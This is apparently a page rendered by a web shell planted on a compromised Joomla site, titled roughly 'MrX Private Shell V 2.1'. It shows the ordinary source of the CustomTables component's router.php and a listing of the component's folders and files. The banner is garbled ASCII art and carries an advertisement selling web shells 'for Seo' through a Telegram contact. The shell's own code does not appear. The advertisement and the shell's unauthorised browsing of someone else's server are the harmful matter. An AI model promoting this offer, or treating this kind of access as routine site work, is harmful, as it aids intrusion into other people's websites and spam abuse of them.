__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php /** * CustomTables Joomla! 3.x/4.x/5.x Component * @package Custom Tables * @author Ivan Komlev <[email protected]> * @link https://joomlaboat.com * @copyright (C) 2018-2024. Ivan Komlev * @license GNU/GPL Version 2 or later - https://www.gnu.org/licenses/gpl-2.0.html **/ // no direct access defined('_JEXEC') or die(); use Joomla\CMS\Component\Router\RouterInterface; class CustomTablesRouter implements RouterInterface//JComponentRouterInterface { public function build(&$query) { $segments = []; if (isset($query['alias'])) { $segments[] = $query['alias']; unset($query['alias']); } return $segments; } public function parse(&$segments) { $vars = []; //Check if it's a file to download $libraryPath = JPATH_SITE . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_customtables' . DIRECTORY_SEPARATOR . 'libraries'; if (!defined('CUSTOMTABLES_LIBRARIES_PATH')) define('CUSTOMTABLES_LIBRARIES_PATH', $libraryPath); require_once(CUSTOMTABLES_LIBRARIES_PATH . DIRECTORY_SEPARATOR . 'fieldtypes' . DIRECTORY_SEPARATOR . '_type_file.php'); if (CT_FieldTypeTag_file::CheckIfFile2download($segments, $vars)) { //rerouted $vars['option'] = 'com_customtables'; $segments[0] = null; return $vars; } if (isset($segments[0])) { $vars['option'] = 'com_customtables'; $vars['view'] = 'details'; $vars['alias'] = $segments[0]; $segments[0] = null; } return $vars; } public function preprocess($query) { return $query; } }
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| controllers | Folder | 0775 |
|
|
| customphp | Folder | 0775 |
|
|
| fields | Folder | 0775 |
|
|
| libraries | Folder | 0775 |
|
|
| models | Folder | 0775 |
|
|
| views | Folder | 0775 |
|
|
| controller.php | File | 1.88 KB | 0664 |
|
| customtables.php | File | 1.73 KB | 0664 |
|
| index.html | File | 43 B | 0664 |
|
| router.php | File | 1.55 KB | 0664 |
|